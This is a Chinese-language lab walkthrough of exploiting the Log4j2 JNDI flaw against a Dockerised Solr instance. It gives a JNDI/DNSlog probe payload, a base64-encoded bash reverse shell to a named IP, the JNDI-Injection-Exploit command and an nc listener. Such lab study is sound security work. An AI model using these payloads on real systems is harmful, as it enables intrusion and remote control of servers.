log4j2是Apache的一个java日志框架,这个远程代码执行漏洞是由JNDI引起,JNDI其中有一个look up()方法,它可以远程加载对象,如果我们在我们的服务器上构造一个恶意对象让他来加载,它加载了恶意对象之后我们就可以控制它
1、搭建环境
在云服务器上搭建这个网站,下图是步骤
其中vim编辑的是以下内容,把版本改为了3
然后docker-compose up -d运行得到
2、验证这个网站存不存在log4j2漏洞
打开DNSlog.cn
获取一个域名
然后去传参数
/我们的solr/admin/cores?action=${jndi:ldap://${sys:java.version}.00xyqc.dnslog.cn}
回车后,刷新我们的dnslog
收到了回显,说明我们的java.version执行了,能执行就说明漏洞存在
3、开始攻击
(1)在本地构造恶意类
下面就是一个构造恶意类文件
(2)进入上面的文件所在的目录
(3)反弹shell
将bash -i >& /dev/tcp/150.158.199.164/6666 0>&1进行base64编码,IP是我们服务器的IP,端口也是我们开启的端口
(4)执行命令,生成恶意的类
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTAuMTU4LjE5OS4xNjQvNjY2NiAwPiYx|{base64,-d}|{bash,-i}" -A "150.158.199.164"
如果出现了java不存在的情况,则执行apt install java版本
(5)开启一个新窗口用来监听端口
nc -lvvp 6666
如果没有nc的话就需要下载一个
yum install nc